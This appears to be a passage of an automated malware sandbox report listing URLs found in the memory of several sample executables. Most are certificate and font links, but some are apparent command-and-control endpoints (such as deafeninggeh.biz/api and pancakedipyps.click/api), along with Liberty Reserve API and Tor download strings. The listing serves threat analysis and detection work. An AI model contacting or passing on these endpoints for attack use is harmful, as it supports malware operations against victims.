Source: skotes.exe, 00000006.00000002.2983011812.0000000000E29000.00000004.00000020.00020000.00000000.sdmp, 3a0398bc51.exe, 00000007.00000002.2428598258.00000000007D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: 3a0398bc51.exe, 00000009.00000003.2671649158.000000000119F000.00000004.00000020.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000003.2590163861.000000000119F000.00000004.00000020.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000003.2671864892.00000000011AD000.00000004.00000020.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000003.2568602128.000000000119F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro0
Source: d6bf37692b.exe, 0000000A.00000003.2546507460.0000000000C75000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2654519089.0000000000C8B000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2546768265.0000000000C8B000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2654570024.0000000000C8C000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2745491734.0000000000CBE000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2679917488.0000000000C8B000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2654376656.0000000000C75000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2679252026.0000000000C75000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2685244823.0000000000C8B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoftX
Source: 3a0398bc51.exe, 00000009.00000003.2530901568.0000000003919000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2617764997.0000000005AA0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: skotes.exe, 00000006.00000002.2983011812.0000000000E29000.00000004.00000020.00020000.00000000.sdmp, 3a0398bc51.exe, 00000007.00000002.2428598258.00000000007D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y
Source: skotes.exe, 00000006.00000002.2983011812.0000000000E29000.00000004.00000020.00020000.00000000.sdmp, 3a0398bc51.exe, 00000007.00000002.2428598258.00000000007D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: skotes.exe, 00000006.00000002.2983011812.0000000000E29000.00000004.00000020.00020000.00000000.sdmp, 3a0398bc51.exe, 00000007.00000002.2428598258.00000000007D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z
Source: skotes.exe, 00000006.00000002.2983011812.0000000000E29000.00000004.00000020.00020000.00000000.sdmp, 3a0398bc51.exe, 00000007.00000002.2428598258.00000000007D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0
Source: 3a0398bc51.exe, 00000009.00000003.2530901568.0000000003919000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2617764997.0000000005AA0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: 3a0398bc51.exe, 00000009.00000003.2530901568.0000000003919000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2617764997.0000000005AA0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: 3a0398bc51.exe, 00000009.00000003.2530901568.0000000003919000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2617764997.0000000005AA0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: 3a0398bc51.exe, 00000009.00000003.2530901568.0000000003919000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2617764997.0000000005AA0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: skotes.exe, 00000006.00000002.2983011812.0000000000E29000.00000004.00000020.00020000.00000000.sdmp, 3a0398bc51.exe, 00000007.00000002.2428598258.00000000007D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#
Source: skotes.exe, 00000006.00000002.2983011812.0000000000E29000.00000004.00000020.00020000.00000000.sdmp, 3a0398bc51.exe, 00000007.00000002.2428598258.00000000007D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: skotes.exe, 00000006.00000002.2983011812.0000000000E29000.00000004.00000020.00020000.00000000.sdmp, 3a0398bc51.exe, 00000007.00000002.2428598258.00000000007D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#
Source: skotes.exe, 00000006.00000002.2983011812.0000000000E29000.00000004.00000020.00020000.00000000.sdmp, 3a0398bc51.exe, 00000007.00000002.2428598258.00000000007D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#
Source: 66405b473b.exe, 00000010.00000003.2817622374.00000000070C6000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://home.fivetk5ht.top/zldPRFrmVFHTtKntGpOv17
Source: 66405b473b.exe, 00000010.00000002.2858672699.000000000061D000.00000040.00000001.01000000.00000015.sdmp	String found in binary or memory: http://home.fivetk5ht.top/zldPRFrmVFHTtKntGpOv1734579851
Source: 66405b473b.exe, 00000010.00000002.2858672699.000000000061D000.00000040.00000001.01000000.00000015.sdmp	String found in binary or memory: http://home.fivetk5ht.top/zldPRFrmVFHTtKntGpOv1734579851http://home.fivetk5ht.top/zldPRFrmVFHTtKntGp
Source: 7ba71287b7.exe, 0000000C.00000003.2621397452.000000000770F000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://home.twentytk20pn.top/WEIsmPfDcpBFJozngnY322
Source: 7ba71287b7.exe, 0000000C.00000003.2621397452.000000000770F000.00000004.00001000.00020000.00000000.sdmp, 66405b473b.exe, 00000010.00000002.2858672699.000000000061D000.00000040.00000001.01000000.00000015.sdmp, 66405b473b.exe, 00000010.00000003.2817622374.00000000070C6000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://html4/loose.dtd
Source: skotes.exe, 00000006.00000002.2983011812.0000000000E29000.00000004.00000020.00020000.00000000.sdmp, 3a0398bc51.exe, 00000007.00000002.2428598258.00000000007D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: 3a0398bc51.exe, 00000009.00000003.2530901568.0000000003919000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2617764997.0000000005AA0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: 3a0398bc51.exe, 00000009.00000003.2530901568.0000000003919000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2617764997.0000000005AA0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: skotes.exe, 00000006.00000002.2983011812.0000000000E29000.00000004.00000020.00020000.00000000.sdmp, 3a0398bc51.exe, 00000007.00000002.2428598258.00000000007D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0
Source: 9f58fa9406.exe, 0000000D.00000002.2767768674.0000000008DA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: 9f58fa9406.exe, 0000000D.00000002.2767768674.0000000008DA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: 9f58fa9406.exe, 0000000D.00000002.2767768674.0000000008DA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: 9f58fa9406.exe, 0000000D.00000002.2767768674.0000000008DA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: 9f58fa9406.exe, 0000000D.00000002.2767768674.0000000008DA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: 9f58fa9406.exe, 0000000D.00000002.2767768674.0000000008DA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: 9f58fa9406.exe, 0000000D.00000002.2767768674.0000000008DA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
Source: 9f58fa9406.exe, 0000000D.00000002.2767768674.0000000008DA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: 9f58fa9406.exe, 0000000D.00000002.2767768674.0000000008DA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: 9f58fa9406.exe, 0000000D.00000002.2767768674.0000000008DA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: 9f58fa9406.exe, 0000000D.00000002.2767768674.0000000008DA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.com
Source: 9f58fa9406.exe, 0000000D.00000002.2767768674.0000000008DA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: 9f58fa9406.exe, 0000000D.00000002.2767768674.0000000008DA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: 9f58fa9406.exe, 0000000D.00000002.2767768674.0000000008DA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: 9f58fa9406.exe, 0000000D.00000002.2767768674.0000000008DA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: 9f58fa9406.exe, 0000000D.00000002.2767768674.0000000008DA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: 9f58fa9406.exe, 0000000D.00000002.2767768674.0000000008DA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: 9f58fa9406.exe, 0000000D.00000002.2767768674.0000000008DA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: 9f58fa9406.exe, 0000000D.00000002.2767768674.0000000008DA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: 9f58fa9406.exe, 0000000D.00000002.2767768674.0000000008DA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.com
Source: 9f58fa9406.exe, 0000000D.00000002.2767768674.0000000008DA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: 9f58fa9406.exe, 0000000D.00000002.2767768674.0000000008DA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.com
Source: 9f58fa9406.exe, 0000000D.00000002.2767768674.0000000008DA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.typography.netD
Source: 9f58fa9406.exe, 0000000D.00000002.2767768674.0000000008DA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: 9f58fa9406.exe, 0000000D.00000002.2767768674.0000000008DA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: 3a0398bc51.exe, 00000009.00000003.2530901568.0000000003919000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2617764997.0000000005AA0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: 3a0398bc51.exe, 00000009.00000003.2530901568.0000000003919000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2617764997.0000000005AA0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: 3a0398bc51.exe, 00000009.00000003.2475186300.0000000003929000.00000004.00000800.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000003.2474892459.000000000392B000.00000004.00000800.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000003.2475060741.0000000003929000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2568711066.0000000005AA9000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2568891654.0000000005AA9000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2568344303.0000000005AAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 9f58fa9406.exe, 0000000D.00000000.2681516044.00000000002C2000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://api.libertyreserve.com/beta/xml/
Source: 9f58fa9406.exe, 0000000D.00000002.2755896143.00000000026A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.libertyreserve.com/beta/xml/accountname.aspx
Source: 9f58fa9406.exe, 0000000D.00000002.2755896143.00000000026A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.libertyreserve.com/beta/xml/balance.aspx
Source: 9f58fa9406.exe, 0000000D.00000000.2681516044.00000000002C2000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://api.libertyreserve.com/beta/xml/history.aspx
Source: 9f58fa9406.exe, 0000000D.00000002.2755896143.00000000026A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.libertyreserve.com/beta/xml/history.aspxS
Source: 9f58fa9406.exe, 0000000D.00000002.2755896143.00000000026A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.libertyreserve.com/beta/xml/transfer.aspx
Source: 9f58fa9406.exe, 0000000F.00000002.2766441206.0000000003061000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://archive.torproject.org/tor-package-archive/torbrowser/13.0.9/tor-expert-bundle-windows-i686-
Source: 3a0398bc51.exe, 00000009.00000003.2532423009.00000000038EF000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2641944362.0000000000CFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: 3a0398bc51.exe, 00000009.00000003.2532423009.00000000038EF000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2641944362.0000000000CFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: 3a0398bc51.exe, 00000009.00000003.2475186300.0000000003929000.00000004.00000800.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000003.2474892459.000000000392B000.00000004.00000800.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000003.2475060741.0000000003929000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2568711066.0000000005AA9000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2568891654.0000000005AA9000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2568344303.0000000005AAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 3a0398bc51.exe, 00000009.00000003.2475186300.0000000003929000.00000004.00000800.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000003.2474892459.000000000392B000.00000004.00000800.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000003.2475060741.0000000003929000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2568711066.0000000005AA9000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2568891654.0000000005AA9000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2568344303.0000000005AAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: 3a0398bc51.exe, 00000009.00000003.2475186300.0000000003929000.00000004.00000800.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000003.2474892459.000000000392B000.00000004.00000800.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000003.2475060741.0000000003929000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2568711066.0000000005AA9000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2568891654.0000000005AA9000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2568344303.0000000005AAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: 3a0398bc51.exe, 00000009.00000003.2532423009.00000000038EF000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2641944362.0000000000CFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: 3a0398bc51.exe, 00000009.00000003.2532423009.00000000038EF000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2641944362.0000000000CFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: 66405b473b.exe, 00000010.00000003.2817622374.00000000070C6000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/alt-svc.html
Source: 66405b473b.exe, 00000010.00000003.2817622374.00000000070C6000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/hsts.html
Source: 7ba71287b7.exe, 0000000C.00000003.2621397452.000000000770F000.00000004.00001000.00020000.00000000.sdmp, 66405b473b.exe, 00000010.00000002.2858672699.000000000061D000.00000040.00000001.01000000.00000015.sdmp, 66405b473b.exe, 00000010.00000003.2817622374.00000000070C6000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/http-cookies.html
Source: 386e7e479d.exe, 00000013.00000002.2976143571.0000000000D43000.00000004.00000020.00020000.00000000.sdmp, 386e7e479d.exe, 00000013.00000002.2976143571.0000000000D1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://deafeninggeh.biz/
Source: 386e7e479d.exe, 00000013.00000002.2976143571.0000000000D43000.00000004.00000020.00020000.00000000.sdmp, 386e7e479d.exe, 00000013.00000002.2976143571.0000000000D1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://deafeninggeh.biz/api
Source: 386e7e479d.exe, 00000013.00000002.2976143571.0000000000D43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://deafeninggeh.biz/apiK4
Source: 386e7e479d.exe, 00000013.00000002.2976143571.0000000000D43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://deafeninggeh.biz/apiv4
Source: 386e7e479d.exe, 00000013.00000002.2976143571.0000000000D43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://deafeninggeh.biz/apix
Source: 386e7e479d.exe, 00000013.00000002.2976143571.0000000000CFC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://deafeninggeh.biz:443/api37.36
Source: random[2].exe1.6.dr	String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support
Source: 3a0398bc51.exe, 00000009.00000003.2475186300.0000000003929000.00000004.00000800.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000003.2474892459.000000000392B000.00000004.00000800.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000003.2475060741.0000000003929000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2568711066.0000000005AA9000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2568891654.0000000005AA9000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2568344303.0000000005AAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 3a0398bc51.exe, 00000009.00000003.2475186300.0000000003929000.00000004.00000800.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000003.2474892459.000000000392B000.00000004.00000800.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000003.2475060741.0000000003929000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2568711066.0000000005AA9000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2568891654.0000000005AA9000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2568344303.0000000005AAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 3a0398bc51.exe, 00000009.00000003.2475186300.0000000003929000.00000004.00000800.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000003.2474892459.000000000392B000.00000004.00000800.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000003.2475060741.0000000003929000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2568711066.0000000005AA9000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2568891654.0000000005AA9000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2568344303.0000000005AAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 9f58fa9406.exe, 0000000F.00000002.2774843579.00000000057C0000.00000004.08000000.00040000.00000000.sdmp, 9f58fa9406.exe, 0000000F.00000002.2770317391.000000000412D000.00000004.00000800.00020000.00000000.sdmp, 9f58fa9406.exe, 0000000F.00000002.2770317391.0000000004061000.00000004.00000800.00020000.00000000.sdmp, 9f58fa9406.exe, 0000000F.00000002.2766441206.0000000003061000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-net
Source: 9f58fa9406.exe, 0000000F.00000002.2774843579.00000000057C0000.00000004.08000000.00040000.00000000.sdmp, 9f58fa9406.exe, 0000000F.00000002.2770317391.000000000412D000.00000004.00000800.00020000.00000000.sdmp, 9f58fa9406.exe, 0000000F.00000002.2770317391.0000000004061000.00000004.00000800.00020000.00000000.sdmp, 9f58fa9406.exe, 0000000F.00000002.2766441206.0000000003061000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-netJ
Source: 9f58fa9406.exe, 0000000F.00000002.2774843579.00000000057C0000.00000004.08000000.00040000.00000000.sdmp, 9f58fa9406.exe, 0000000F.00000002.2770317391.000000000412D000.00000004.00000800.00020000.00000000.sdmp, 9f58fa9406.exe, 0000000F.00000002.2770317391.0000000004061000.00000004.00000800.00020000.00000000.sdmp, 9f58fa9406.exe, 0000000F.00000002.2766441206.0000000003061000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-neti
Source: 7ba71287b7.exe, 0000000C.00000003.2621397452.000000000770F000.00000004.00001000.00020000.00000000.sdmp, 66405b473b.exe, 00000010.00000002.2858672699.000000000061D000.00000040.00000001.01000000.00000015.sdmp, 66405b473b.exe, 00000010.00000003.2817622374.00000000070C6000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://httpbin.org/ip
Source: 7ba71287b7.exe, 0000000C.00000003.2621397452.000000000770F000.00000004.00001000.00020000.00000000.sdmp, 66405b473b.exe, 00000010.00000002.2858672699.000000000061D000.00000040.00000001.01000000.00000015.sdmp, 66405b473b.exe, 00000010.00000003.2817622374.00000000070C6000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://httpbin.org/ipbefore
Source: 386e7e479d.exe, 00000013.00000002.2976143571.0000000000D0C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://immureprech.biz/api
Source: 386e7e479d.exe, 00000013.00000002.2976143571.0000000000D0C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://immureprech.biz/pi
Source: d6bf37692b.exe, 0000000A.00000003.2641944362.0000000000CFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: 3a0398bc51.exe, 00000009.00000003.2671649158.000000000112C000.00000004.00000020.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000003.2671649158.0000000001159000.00000004.00000020.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000003.2567946072.00000000011C3000.00000004.00000020.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000003.2590027893.00000000011C3000.00000004.00000020.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000002.2673903143.00000000038E6000.00000004.00000800.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000002.2673084493.00000000011C6000.00000004.00000020.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000003.2672060197.000000000115B000.00000004.00000020.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000002.2672858117.000000000112D000.00000004.00000020.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000002.2672941652.000000000115C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/
Source: 3a0398bc51.exe, 00000009.00000003.2671649158.000000000112C000.00000004.00000020.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000002.2672858117.000000000112D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/0
Source: 3a0398bc51.exe, 00000009.00000003.2590163861.000000000119F000.00000004.00000020.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000003.2568602128.000000000119F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/F
Source: 3a0398bc51.exe, 00000009.00000003.2671649158.000000000112C000.00000004.00000020.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000002.2672858117.000000000112D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/F9
Source: 3a0398bc51.exe, 00000009.00000003.2671649158.000000000112C000.00000004.00000020.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000002.2673084493.00000000011D2000.00000004.00000020.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000003.2567946072.00000000011C3000.00000004.00000020.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000003.2590027893.00000000011C3000.00000004.00000020.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000002.2674127732.00000000038EC000.00000004.00000800.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000003.2671987375.00000000038EB000.00000004.00000800.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000003.2672167549.00000000011D1000.00000004.00000020.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000002.2673084493.00000000011C6000.00000004.00000020.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000002.2672858117.000000000112D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/api
Source: 3a0398bc51.exe, 00000009.00000002.2673084493.00000000011D2000.00000004.00000020.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000003.2672167549.00000000011D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/api5
Source: 3a0398bc51.exe, 00000009.00000002.2674127732.00000000038EC000.00000004.00000800.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000003.2671987375.00000000038EB000.00000004.00000800.00020000.00000000.sdmp, 3a0398bc51.exe, 00000009.00000003.2590081999.00000000038EA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/apiT
